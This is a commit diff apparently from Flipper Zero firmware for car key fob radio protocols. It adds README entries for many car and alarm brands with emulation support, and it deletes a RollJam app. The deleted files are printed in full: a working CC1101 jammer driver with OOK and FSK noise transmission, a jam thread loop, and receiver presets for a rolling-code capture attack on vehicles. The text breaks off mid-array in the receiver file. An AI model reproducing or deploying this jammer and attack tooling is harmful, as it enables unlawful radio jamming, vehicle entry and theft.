Thanks AussieMike for renaming Garage Door App, thanks to this ProtoPirate NOW is working!

Added images for Custom Emulation Settings and Scene.

.gitignore

@@ -81,4 +81,12 @@ node_modules/
 
 #companion app
 /companion
-/Flipper-Android-App
+/Flipper-Android-App
+
+#WIP not ready to push protocols
+
+lib/subghz/protocols/subghz_protocol_honda_pandora.c
+lib/subghz/protocols/honda_rolling.c
+lib/subghz/protocols/honda_rolling.h
+lib/subghz/protocols/honda_pandora.c
+lib/subghz/protocols/honda_pandora.h

CHANGELOG.md

@@ -0,0 +1,19 @@
+# Changelog
+
+---
+
+### Added
+- Protocol name allowlist filter: in Receiver Config, a new "Proto Filter"
+  field accepts a comma-separated list of protocol names (e.g. "Ford V2,VAG").
+  When set, the receiver ignores all decoded signals that are not in the list,
+  reducing RAM usage and increasing the chance of capturing the target protocol.
+  Leave empty to disable (default behavior, all protocols accepted).
+  Setting is persisted in last_subghz.settings under the ProtocolFilter key.
+
+### Changed
+- Protocol Filter: replaced free-text input with a dedicated protocol list
+  scene (Proto Filter in Receiver Config). All registered protocols are shown
+  as toggleable items (--- / ONLY). Selecting one or more protocols restricts
+  the receiver to only show those; leaving all as --- disables the filter.
+  The active count is shown inline in Receiver Config ("N set" or "All").
+  Filter is persisted across sessions and cleared by Reset to default.

README.md

@@ -22,6 +22,7 @@ This project may incorporate, adapt, or build upon **other open-source projects*
 - [Contribution Policy](#contribution-policy)
 - [Citations & References](#citations--references)
 - [Disclaimer](#disclaimer)
+- [Special Thanks](#special-thanks-to-everyone-who-contributes-to-this-project)
 
 ---
 
@@ -35,6 +36,8 @@ This project may incorporate, adapt, or build upon **other open-source projects*
 | Keeloq Key Manager | Mod Hopping Config |
 | ![PSA Decrypt](.arf_pictures/psa_decrypt_builtin.png) | ![Counter BruteForce](.arf_pictures/counter_bruteforce.png) |
 | PSA XTEA Decrypt | Counter BruteForce |
+| ![Custom Emulation Settings](.arf_pictures/custom_emulation_settings.png) | ![Custom Emulation Scene](.arf_pictures/custom_emulation_scene.png) |
+| Custom Emulation Settings | Custom Emulation Scene |
 
 ---
 
@@ -48,8 +51,10 @@ This project may incorporate, adapt, or build upon **other open-source projects*
 | Porsche | Porsche AG | 433/868 MHz | AM | Yes | Yes | No |
 | PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes | Yes |
 | Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes | Yes |
+| Ford | Ford V1 | 315/433 MHz | FM | Yes | Yes | Yes |
 | Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes | Yes |
-| Fiat | Marelli/Delphi | 433 MHz | AM | No | Yes | No |
+| Fiat | Marelli/Delphi | 433 MHz | AM | No | Yes | Yes |
+| Renault (old models) | Marelli | 433 MHz | AM | No | Yes | No|
 | Mazda | Siemens (5WK49365D) | 315/433 MHz | AM/FM | Yes | Yes | Yes |
 | Kia/Hyundai | KIA/HYU V0 | 433 MHz | FM | Yes | Yes | Yes |
 | Kia/Hyundai | KIA/HYU V1 | 315/433 MHz | AM | Yes | Yes | Yes |
@@ -57,9 +62,17 @@ This project may incorporate, adapt, or build upon **other open-source projects*
 | Kia/Hyundai | KIA/HYU V3/V4 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
 | Kia/Hyundai | KIA/HYU V5 | 433 MHz | FM | Yes | Yes | Yes |
 | Kia/Hyundai | KIA/HYU V6 | 433 MHz | FM | Yes | Yes | Yes |
+| Kia/Hyundai | KIA V7 | 433 MHz | FM | Yes | Yes | Yes |
 | Subaru | Subaru | 433 MHz | AM | Yes | Yes | No |
 | Suzuki | Suzuki | 433 MHz | FM | Yes | Yes | Yes |
 | Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes | No |
+| Honda | Honda Type A/B | 433 MHz | FM (custom) | Yes | Yes | No |
+| Starline | Star Line | 433 MHz | AM | Yes | Yes | No |
+| Scher-Khan | Scher-Khan | 433 MHz | FM | Yes | Yes | No |
+| Scher-Khan | Magic Code PRO1/PRO2 | 433 MHz | FM | Yes | Yes | Yes |
+| Sheriff | Sheriff CFM (ZX-750/930) | 433 MHz | AM | Yes | Yes | No |
+| Chrysler/Dodge/Jeep | FOBIK GQ43VT | 315/433 MHz | AM | Yes | Yes | No |
+| Honda | Honda Static | 433 MHz | AM | Yes | Yes | No |
 
 ### Gate / Access Protocols
 
@@ -338,3 +351,36 @@ THIS SOFTWARE IS PROVIDED **"AS IS,"** WITHOUT ANY WARRANTIES OF ANY KIND, EXPRE
 IN NO EVENT SHALL THE AUTHORS, COPYRIGHT HOLDERS, OR CONTRIBUTORS BE LIABLE FOR ANY CLAIM, DAMAGES, OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT, OR OTHERWISE, ARISING FROM, OUT OF, OR IN CONNECTION WITH THE SOFTWARE OR ITS USE.  
 
 **ALL RISKS FROM THE USE OR PERFORMANCE OF THIS SOFTWARE REMAIN WITH THE USER.**
+
+
+---
+
+## Special thanks to everyone who contributes to this project:
+
+## Contributors (GitHub)
+
+<a href="https://github.com/d4c1-labs/Flipper-ARF/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo=d4c1-labs/Flipper-ARF"/>
+</a>
+
+## Special Thanks
+
+<table align="center">
+  <tr>
+    <td align="center">
+      <a href="https://github.com/whatthefxck">
+        <img src="https://avatars.githubusercontent.com/whatthefxck?s=80" width="80" height="80" alt="whatthefxck"/>
+      </a>
+    </td>
+    <td align="center">
+      <a href="https://github.com/zero-mega">
+        <img src="https://avatars.githubusercontent.com/zero-mega?s=80" width="80" height="80" alt="zero-mega"/>
+      </a>
+    </td>
+  </tr>
+</table>
+
+<p align="center">
+  Special thanks to everyone who contributed code, testing, reversing,
+  research, ideas, captures and documentation.
+</p>

applications/main/RollJam/application.fam

@@ -1,23 +0,0 @@
-App(
-    appid="rolljam",
-    name="RollJam",
-    apptype=FlipperAppType.MENUEXTERNAL,
-    entry_point="rolljam_app",
-    stack_size=4 * 1024,
-    fap_category="Sub-GHz",
-    fap_icon="rolljam.png",
-    fap_icon_assets="images",
-    fap_libs=["assets"],
-    fap_description="RollJam rolling code attack tool",
-    fap_author="@user",
-    fap_version="1.0",
-    fap_weburl="",
-    requires=[
-        "gui",
-        "subghz",
-        "notification",
-        "storage",
-        "dialogs",
-    ],
-    provides=[],
-)

applications/main/RollJam/helpers/rolljam_cc1101_ext.c

@@ -1,521 +0,0 @@
-#include "rolljam_cc1101_ext.h"
-#include <furi_hal_gpio.h>
-#include <furi_hal_resources.h>
-#include <furi_hal_cortex.h>
-#include <furi_hal_power.h>
-
-// ============================================================
-// 5V OTG power
-// ============================================================
-
-static bool otg_was_enabled   = false;
-static bool use_flux_capacitor = false;
-
-void rolljam_ext_set_flux_capacitor(bool enabled) {
-    use_flux_capacitor = enabled;
-}
-
-static void rolljam_ext_power_on(void) {
-    otg_was_enabled = furi_hal_power_is_otg_enabled();
-    if(!otg_was_enabled) {
-        uint8_t attempts = 0;
-        while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
-            furi_hal_power_enable_otg();
-            furi_delay_ms(10);
-        }
-    }
-}
-
-static void rolljam_ext_power_off(void) {
-    if(!otg_was_enabled) {
-        furi_hal_power_disable_otg();
-    }
-}
-
-static const GpioPin* pin_mosi = &gpio_ext_pa7;
-static const GpioPin* pin_miso = &gpio_ext_pa6;
-static const GpioPin* pin_cs   = &gpio_ext_pa4;
-static const GpioPin* pin_sck  = &gpio_ext_pb3;
-static const GpioPin* pin_gdo0 = &gpio_ext_pb2;
-static const GpioPin* pin_amp  = &gpio_ext_pc3;
-
-// ============================================================
-// CC1101 Registers
-// ============================================================
-#define CC_IOCFG2    0x00
-#define CC_IOCFG0    0x02
-#define CC_FIFOTHR   0x03
-#define CC_SYNC1     0x04
-#define CC_SYNC0     0x05
-#define CC_PKTLEN    0x06
-#define CC_PKTCTRL1  0x07
-#define CC_PKTCTRL0  0x08
-#define CC_FSCTRL1   0x0B
-#define CC_FSCTRL0   0x0C
-#define CC_FREQ2     0x0D
-#define CC_FREQ1     0x0E
-#define CC_FREQ0     0x0F
-#define CC_MDMCFG4   0x10
-#define CC_MDMCFG3   0x11
-#define CC_MDMCFG2   0x12
-#define CC_MDMCFG1   0x13
-#define CC_MDMCFG0   0x14
-#define CC_DEVIATN   0x15
-#define CC_MCSM1     0x17
-#define CC_MCSM0     0x18
-#define CC_FOCCFG    0x19
-#define CC_AGCCTRL2  0x1B
-#define CC_AGCCTRL1  0x1C
-#define CC_AGCCTRL0  0x1D
-#define CC_FREND0    0x22
-#define CC_FSCAL3    0x23
-#define CC_FSCAL2    0x24
-#define CC_FSCAL1    0x25
-#define CC_FSCAL0    0x26
-#define CC_TEST2     0x2C
-#define CC_TEST1     0x2D
-#define CC_TEST0     0x2E
-#define CC_PATABLE   0x3E
-#define CC_TXFIFO    0x3F
-
-#define CC_PARTNUM   0x30
-#define CC_VERSION   0x31
-#define CC_MARCSTATE 0x35
-#define CC_TXBYTES   0x3A
-
-#define CC_SRES      0x30
-#define CC_SCAL      0x33
-#define CC_STX       0x35
-#define CC_SIDLE     0x36
-#define CC_SFTX      0x3B
-
-#define MARC_IDLE    0x01
-#define MARC_TX      0x13
-
-// ============================================================
-// Band calibration
-// ============================================================
-
-typedef struct {
-    uint32_t min_freq;
-    uint32_t max_freq;
-    uint8_t fscal3;
-    uint8_t fscal2;
-    uint8_t fscal1;
-    uint8_t fscal0;
-} ExtBandCal;
-
-static const ExtBandCal ext_band_cals[] = {
-    { 299000000, 348000000, 0xEA, 0x2A, 0x00, 0x1F },
-    { 386000000, 464000000, 0xE9, 0x2A, 0x00, 0x1F },
-    { 778000000, 928000000, 0xEA, 0x2A, 0x00, 0x11 },
-};
-#define EXT_BAND_CAL_COUNT (sizeof(ext_band_cals) / sizeof(ext_band_cals[0]))
-
-static const ExtBandCal* ext_get_band_cal(uint32_t freq) {
-    for(size_t i = 0; i < EXT_BAND_CAL_COUNT; i++) {
-        if(freq >= ext_band_cals[i].min_freq && freq <= ext_band_cals[i].max_freq)
-            return &ext_band_cals[i];
-    }
-    return &ext_band_cals[1];
-}
-
-static inline void spi_delay(void) {
-    for(int i = 0; i < 16; i++) __NOP();
-}
-
-static inline void cs_lo(void) { furi_hal_gpio_write(pin_cs, false); spi_delay(); }
-static inline void cs_hi(void) { spi_delay(); furi_hal_gpio_write(pin_cs, true); spi_delay(); }
-
-static bool wait_miso(uint32_t us) {
-    CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
-    DWT->CTRL        |= DWT_CTRL_CYCCNTENA_Msk;
-    uint32_t s = DWT->CYCCNT;
-    uint32_t t = (SystemCoreClock / 1000000) * us;
-    while(furi_hal_gpio_read(pin_miso)) {
-        if((DWT->CYCCNT - s) > t) return false;
-    }
-    return true;
-}
-
-static uint8_t spi_byte(uint8_t tx) {
-    uint8_t rx = 0;
-    for(int8_t i = 7; i >= 0; i--) {
-        furi_hal_gpio_write(pin_mosi, (tx >> i) & 0x01);
-        spi_delay();
-        furi_hal_gpio_write(pin_sck, true);
-        spi_delay();
-        if(furi_hal_gpio_read(pin_miso)) rx |= (1 << i);
-        furi_hal_gpio_write(pin_sck, false);
-        spi_delay();
-    }
-    return rx;
-}
-
-static uint8_t cc_strobe(uint8_t cmd) {
-    cs_lo();
-    if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
-    uint8_t s = spi_byte(cmd);
-    cs_hi();
-    return s;
-}
-
-static void cc_write(uint8_t a, uint8_t v) {
-    cs_lo();
-    if(!wait_miso(5000)) { cs_hi(); return; }
-    spi_byte(a); spi_byte(v);
-    cs_hi();
-}
-
-static uint8_t cc_read_status(uint8_t a) {
-    cs_lo();
-    if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
-    spi_byte(a | 0xC0);
-    uint8_t v = spi_byte(0x00);
-    cs_hi();
-    return v;
-}
-
-static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
-    cs_lo();
-    if(!wait_miso(5000)) { cs_hi(); return; }
-    spi_byte(a | 0x40);
-    for(uint8_t i = 0; i < n; i++) spi_byte(d[i]);
-    cs_hi();
-}
-
-static bool cc_reset(void) {
-    cs_hi(); furi_delay_us(30);
-    cs_lo(); furi_delay_us(30);
-    cs_hi(); furi_delay_us(50);
-    cs_lo();
-    if(!wait_miso(10000)) { cs_hi(); return false; }
-    spi_byte(CC_SRES);
-    if(!wait_miso(100000)) { cs_hi(); return false; }
-    cs_hi();
-    furi_delay_ms(5);
-    FURI_LOG_I(TAG, "EXT: Reset OK");
-    return true;
-}
-
-static bool cc_check(void) {
-    uint8_t p = cc_read_status(CC_PARTNUM);
-    uint8_t v = cc_read_status(CC_VERSION);
-    FURI_LOG_I(TAG, "EXT: PART=0x%02X VER=0x%02X", p, v);
-    return (v == 0x14 || v == 0x04 || v == 0x03);
-}
-
-static uint8_t cc_state(void) { return cc_read_status(CC_MARCSTATE) & 0x1F; }
-static uint8_t cc_txbytes(void) { return cc_read_status(CC_TXBYTES) & 0x7F; }
-
-static void cc_idle(void) {
-    cc_strobe(CC_SIDLE);
-    for(int i = 0; i < 500; i++) {
-        if(cc_state() == MARC_IDLE) return;
-        furi_delay_us(50);
-    }
-}
-
-static void cc_set_freq(uint32_t f) {
-    uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
-    cc_write(CC_FREQ2, (r >> 16) & 0xFF);
-    cc_write(CC_FREQ1, (r >>  8) & 0xFF);
-    cc_write(CC_FREQ0,  r        & 0xFF);
-}
-
-static bool cc_configure_jam(uint32_t freq) {
-    const ExtBandCal* cal = ext_get_band_cal(freq);
-    FURI_LOG_I(TAG, "EXT: Config OOK jam at %lu Hz", freq);
-    cc_idle();
-    cc_write(CC_IOCFG0,   0x02);
-    cc_write(CC_IOCFG2,   0x2F);
-    cc_write(CC_PKTCTRL0, 0x00);
-    cc_write(CC_PKTCTRL1, 0x00);
-    cc_write(CC_PKTLEN,   0xFF);
-    cc_write(CC_FIFOTHR,  0x07);
-    cc_write(CC_SYNC1,    0x00);
-    cc_write(CC_SYNC0,    0x00);
-    cc_set_freq(freq);
-    cc_write(CC_FSCTRL1,  0x06);
-    cc_write(CC_FSCTRL0,  0x00);
-    cc_write(CC_MDMCFG4,  0x85);
-    cc_write(CC_MDMCFG3,  0x43);
-    cc_write(CC_MDMCFG2,  0x30);
-    cc_write(CC_MDMCFG1,  0x00);
-    cc_write(CC_MDMCFG0,  0xF8);
-    cc_write(CC_DEVIATN,  0x47);
-    cc_write(CC_MCSM1,    0x00);
-    cc_write(CC_MCSM0,    0x18);
-    cc_write(CC_FREND0,   0x11);
-    uint8_t pa[8] = {0x00,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
-    cc_write_burst(CC_PATABLE, pa, 8);
-    cc_write(CC_FSCAL3,  cal->fscal3);
-    cc_write(CC_FSCAL2,  cal->fscal2);
-    cc_write(CC_FSCAL1,  cal->fscal1);
-    cc_write(CC_FSCAL0,  cal->fscal0);
-    cc_write(CC_TEST2,   0x81);
-    cc_write(CC_TEST1,   0x35);
-    cc_write(CC_TEST0,   0x09);
-    cc_idle();
-    cc_strobe(CC_SCAL);
-    furi_delay_ms(2);
-    cc_idle();
-    uint8_t st = cc_state();
-    FURI_LOG_I(TAG, "EXT: state=0x%02X FSCAL={0x%02X,0x%02X,0x%02X,0x%02X}",
-               st, cal->fscal3, cal->fscal2, cal->fscal1, cal->fscal0);
-    return (st == MARC_IDLE);
-}
-
-static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
-    const ExtBandCal* cal = ext_get_band_cal(freq);
-    FURI_LOG_I(TAG, "EXT: Config FSK jam at %lu Hz (wide=%d)", freq, wide);
-    cc_idle();
-    cc_write(CC_IOCFG0,   0x02);
-    cc_write(CC_IOCFG2,   0x2F);
-    cc_write(CC_PKTCTRL0, 0x00);
-    cc_write(CC_PKTCTRL1, 0x00);
-    cc_write(CC_PKTLEN,   0xFF);
-    cc_write(CC_FIFOTHR,  0x07);
-    cc_write(CC_SYNC1,    0x00);
-    cc_write(CC_SYNC0,    0x00);
-    cc_set_freq(freq);
-    cc_write(CC_FSCTRL1,  0x06);
-    cc_write(CC_FSCTRL0,  0x00);
-    cc_write(CC_MDMCFG4,  0x85);
-    cc_write(CC_MDMCFG3,  0x43);
-    cc_write(CC_MDMCFG2,  0x00);
-    cc_write(CC_MDMCFG1,  0x00);
-    cc_write(CC_MDMCFG0,  0xF8);
-    cc_write(CC_DEVIATN,  wide ? 0x47 : 0x15);
-    cc_write(CC_MCSM1,    0x00);
-    cc_write(CC_MCSM0,    0x18);
-    cc_write(CC_FREND0,   0x10);
-    uint8_t pa[8] = {0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
-    cc_write_burst(CC_PATABLE, pa, 8);
-    cc_write(CC_FSCAL3,  cal->fscal3);
-    cc_write(CC_FSCAL2,  cal->fscal2);
-    cc_write(CC_FSCAL1,  cal->fscal1);
-    cc_write(CC_FSCAL0,  cal->fscal0);
-    cc_write(CC_TEST2,   0x81);
-    cc_write(CC_TEST1,   0x35);
-    cc_write(CC_TEST0,   0x09);
-    cc_idle();
-    cc_strobe(CC_SCAL);
-    furi_delay_ms(2);
-    cc_idle();
-    return (cc_state() == MARC_IDLE);
-}
-
-static void ext_gpio_init_spi_pins(void) {
-    furi_hal_gpio_init(pin_cs,   GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
-    furi_hal_gpio_write(pin_cs, true);
-    furi_hal_gpio_init(pin_sck,  GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
-    furi_hal_gpio_write(pin_sck, false);
-    furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
-    furi_hal_gpio_write(pin_mosi, false);
-    furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
-    furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
-}
-
-static void ext_gpio_deinit_spi_pins(void) {
-    furi_hal_gpio_init(pin_cs,   GpioModeAnalog, GpioPullNo, GpioSpeedLow);
-    furi_hal_gpio_init(pin_sck,  GpioModeAnalog, GpioPullNo, GpioSpeedLow);
-    furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
-    furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
-    furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
-}
-
-void rolljam_ext_gpio_init(void) {
-    FURI_LOG_I(TAG, "EXT GPIO init (deferred to jam thread)");
-    if(use_flux_capacitor) {
-        furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
-        furi_hal_gpio_write(pin_amp, false);
-    }
-}
-
-void rolljam_ext_gpio_deinit(void) {
-    if(use_flux_capacitor) {
-        furi_hal_gpio_write(pin_amp, false);
-        furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
-    }
-
-    FURI_LOG_I(TAG, "EXT GPIO deinit");
-}
-
-// ============================================================
-// Noise pattern & jam helpers
-// ============================================================
-
-static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
-    cc_strobe(CC_SFTX);
-    furi_delay_ms(1);
-    cc_write_burst(CC_TXFIFO, pattern, len);
-    cc_strobe(CC_STX);
-    furi_delay_ms(5);
-}
-
-static int32_t jam_thread_worker(void* context) {
-    RollJamApp* app = context;
-
-    bool is_fsk       = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
-    uint32_t freq_pos = app->frequency + app->jam_offset_hz;
-    uint32_t freq_neg = app->frequency - app->jam_offset_hz;
-
-    FURI_LOG_I(TAG, "JAM thread start: target=%lu offset=%lu FSK=%d",
-               app->frequency, app->jam_offset_hz, is_fsk);
-
-    ext_gpio_init_spi_pins();
-    furi_delay_ms(5);
-
-    if(!cc_reset()) {
-        FURI_LOG_E(TAG, "JAM: Reset failed — CC1101 externo no conectado o mal cableado");
-        ext_gpio_deinit_spi_pins();
-        app->jamming_active = false;
-        return -1;
-    }
-    if(!cc_check()) {
-        FURI_LOG_E(TAG, "JAM: Chip no detectado");
-        ext_gpio_deinit_spi_pins();
-        app->jamming_active = false;
-        return -1;
-    }
-
-    bool jam_ok;
-    if(app->mod_index == ModIndex_FM238)
-        jam_ok = cc_configure_jam_fsk(freq_pos, false);
-    else if(app->mod_index == ModIndex_FM476)
-        jam_ok = cc_configure_jam_fsk(freq_pos, true);
-    else
-        jam_ok = cc_configure_jam(freq_pos);
-
-    if(!jam_ok) {
-        FURI_LOG_E(TAG, "JAM: Config failed");
-        ext_gpio_deinit_spi_pins();
-        app->jamming_active = false;
-        return -1;
-    }
-
-    static const uint8_t noise_pattern[62] = {
-        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
-        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
-        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
-        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
-        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
-        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
-        0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
-        0xAA,0x55
-    };
-
-    if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, true);
-    jam_start_tx(noise_pattern, 62);
-
-    uint8_t st = cc_state();
-    if(st != MARC_TX) {
-        cc_idle();
-        jam_start_tx(noise_pattern, 62);
-        st = cc_state();
-        if(st != MARC_TX) {
-            FURI_LOG_E(TAG, "JAM: Cannot enter TX (state=0x%02X)", st);
-            if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
-            ext_gpio_deinit_spi_pins();
-            app->jamming_active = false;
-            return -1;
-        }
-    }
-
-    FURI_LOG_I(TAG, "JAM: *** ACTIVE *** freq_pos=%lu", freq_pos);
-
-    uint32_t loops      = 0;
-    uint32_t underflows = 0;
-    uint32_t refills    = 0;
-    bool on_pos         = true;
-
-    while(app->jam_thread_running) {
-        loops++;
-
-        if(is_fsk && (loops % 4 == 0)) {
-            cc_idle();
-            cc_strobe(CC_SFTX);
-            furi_delay_us(100);
-            on_pos = !on_pos;
-            cc_set_freq(on_pos ? freq_pos : freq_neg);
-            cc_write_burst(CC_TXFIFO, noise_pattern, 62);
-            cc_strobe(CC_STX);
-            furi_delay_ms(1);
-            continue;
-        }
-
-        st = cc_state();
-        if(st != MARC_TX) {
-            underflows++;
-            cc_idle();
-            cc_strobe(CC_SFTX);
-            furi_delay_us(100);
-            cc_write_burst(CC_TXFIFO, noise_pattern, 62);
-            cc_strobe(CC_STX);
-            furi_delay_ms(1);
-            continue;
-        }
-
-        uint8_t txb = cc_txbytes();
-        if(txb < 20) {
-            uint8_t space = 62 - txb;
-            if(space > 50) space = 50;
-            cc_write_burst(CC_TXFIFO, noise_pattern, space);
-            refills++;
-        }
-
-        if(loops % 500 == 0) {
-            FURI_LOG_I(TAG, "JAM: loops=%lu uf=%lu refills=%lu txb=%d",
-                       loops, underflows, refills, cc_txbytes());
-        }
-
-        furi_delay_ms(50);
-    }
-
-    cc_idle();
-    if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
-    cc_write(CC_IOCFG2, 0x2E);
-
-    ext_gpio_deinit_spi_pins();
-
-    FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
-    return 0;
-}
-
-// ============================================================
-// Public API
-// ============================================================
-
-void rolljam_jammer_start(RollJamApp* app) {
-    if(app->jamming_active) return;
-
-    app->jam_frequency     = app->frequency + app->jam_offset_hz;
-    app->jam_thread_running = true;
-    app->jamming_active     = true;
-
-    rolljam_ext_power_on();
-    furi_delay_ms(50);
-
-    rolljam_ext_gpio_init();
-
-    app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
-    furi_thread_start(app->jam_thread);
-
-    FURI_LOG_I(TAG, ">>> JAMMER THREAD STARTED <<<");
-}
-
-void rolljam_jammer_stop(RollJamApp* app) {
-    if(!app->jamming_active) return;
-
-    app->jam_thread_running = false;
-    furi_thread_join(app->jam_thread);
-    furi_thread_free(app->jam_thread);
-    app->jam_thread = NULL;
-
-    rolljam_ext_gpio_deinit();
-    rolljam_ext_power_off();
-    app->jamming_active = false;
-
-    FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
-}

applications/main/RollJam/helpers/rolljam_cc1101_ext.h

@@ -1,23 +0,0 @@
-#pragma once
-
-#include "../rolljam.h"
-
-/*
- * External CC1101 module connected via GPIO (bit-bang SPI).
- * Used EXCLUSIVELY for JAMMING (TX).
- *
- * Wiring (as connected):
- *   CC1101 VCC  -> Flipper Pin 9  (3V3)
- *   CC1101 GND  -> Flipper Pin 11 (GND)
- *   CC1101 MOSI -> Flipper Pin 2  (PA7)
- *   CC1101 MISO -> Flipper Pin 3  (PA6)
- *   CC1101 SCK  -> Flipper Pin 5  (PB3)
- *   CC1101 CS   -> Flipper Pin 4  (PA4)
- *   CC1101 GDO0 -> Flipper Pin 6  (PB2)
- */
-
-void rolljam_ext_gpio_init(void);
-void rolljam_ext_set_flux_capacitor(bool enabled);
-void rolljam_ext_gpio_deinit(void);
-void rolljam_jammer_start(RollJamApp* app);
-void rolljam_jammer_stop(RollJamApp* app);

applications/main/RollJam/helpers/rolljam_receiver.c

@@ -1,689 +0,0 @@
-#include "rolljam_receiver.h"
-#include <furi_hal_subghz.h>
-#include <furi_hal_rtc.h>
-
-#define CC_IOCFG0   0x02
-#define CC_FIFOTHR  0x03
-#define CC_MDMCFG4  0x10
-#define CC_MDMCFG3  0x11
-#define CC_MDMCFG2  0x12
-#define CC_MDMCFG1  0x13
-#define CC_MDMCFG0  0x14
-#define CC_DEVIATN  0x15
-#define CC_MCSM0    0x18
-#define CC_FOCCFG   0x19
-#define CC_AGCCTRL2 0x1B
-#define CC_AGCCTRL1 0x1C
-#define CC_AGCCTRL0 0x1D
-#define CC_FREND0   0x22
-#define CC_FSCAL3   0x23
-#define CC_FSCAL2   0x24
-#define CC_FSCAL1   0x25
-#define CC_FSCAL0   0x26
-
-#define CC_PKTCTRL0  0x08
-#define CC_PKTCTRL1  0x07
-#define CC_FSCTRL1   0x0B
-#define CC_WORCTRL   0x20
-#define CC_FREND1    0x21
-
-// OOK 650kHz
-static const uint8_t preset_ook_650_async[] = {
-    CC_IOCFG0,   0x0D,
-    CC_FIFOTHR,  0x07,
-    CC_PKTCTRL0, 0x32,
-    CC_FSCTRL1,  0x06,
-    CC_MDMCFG0,  0x00,
-    CC_MDMCFG1,  0x00,
-    CC_MDMCFG2,  0x30,
-    CC_MDMCFG3,  0x32,
-    CC_MDMCFG4,  0x17,
-    CC_MCSM0,    0x18,
-    CC_FOCCFG,   0x18,
-    CC_AGCCTRL0, 0x91,
-    CC_AGCCTRL1, 0x00,
-    CC_AGCCTRL2, 0x07,
-    CC_WORCTRL,  0xFB,
-    CC_FREND0,   0x11,
-    CC_FREND1,   0xB6,
-    0x00,        0x00,
-    0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-};
-
-// OOK 270kHz
-static const uint8_t preset_ook_270_async[] = {
-    CC_IOCFG0,   0x0D,
-    CC_FIFOTHR,  0x47,
-    CC_PKTCTRL0, 0x32,
-    CC_FSCTRL1,  0x06,
-    CC_MDMCFG0,  0x00,
-    CC_MDMCFG1,  0x00,
-    CC_MDMCFG2,  0x30,
-    CC_MDMCFG3,  0x32,
-    CC_MDMCFG4,  0x67,
-    CC_MCSM0,    0x18,
-    CC_FOCCFG,   0x18,
-    CC_AGCCTRL0, 0x40,
-    CC_AGCCTRL1, 0x00,
-    CC_AGCCTRL2, 0x03,
-    CC_WORCTRL,  0xFB,
-    CC_FREND0,   0x11,
-    CC_FREND1,   0xB6,
-    0x00,        0x00,
-    0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-};
-
-// 2FSK Dev 2.38kHz
-static const uint8_t preset_2fsk_238_async[] = {
-    CC_IOCFG0,   0x0D,
-    CC_FIFOTHR,  0x47,
-    CC_PKTCTRL0, 0x32,
-    CC_FSCTRL1,  0x06,
-    CC_MDMCFG0,  0x00,
-    CC_MDMCFG1,  0x00,
-    CC_MDMCFG2,  0x00,
-    CC_MDMCFG3,  0x75,
-    CC_MDMCFG4,  0x57,
-    CC_DEVIATN,  0x15,
-    CC_MCSM0,    0x18,
-    CC_FOCCFG,   0x16,
-    CC_AGCCTRL0, 0x91,
-    CC_AGCCTRL1, 0x00,
-    CC_AGCCTRL2, 0x07,
-    CC_WORCTRL,  0xFB,
-    CC_FREND0,   0x10,
-    CC_FREND1,   0xB6,
-    0x00,        0x00,
-    0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-};
-
-// 2FSK Dev 47.6kHz
-static const uint8_t preset_2fsk_476_async[] = {
-    CC_IOCFG0,   0x0D,
-    CC_FIFOTHR,  0x47,
-    CC_PKTCTRL0, 0x32,
-    CC_FSCTRL1,  0x06,
-    CC_MDMCFG0,  0x00,
-    CC_MDMCFG1,  0x00,
-    CC_MDMCFG2,  0x00,
-    CC_MDMCFG3,  0x75,
-    CC_MDMCFG4,  0x57,
-    CC_DEVIATN,  0x47,
-    CC_MCSM0,    0x18,
-    CC_FOCCFG,   0x16,
-    CC_AGCCTRL0, 0x91,
-    CC_AGCCTRL1, 0x00,
-    CC_AGCCTRL2, 0x07,
-    CC_WORCTRL,  0xFB,
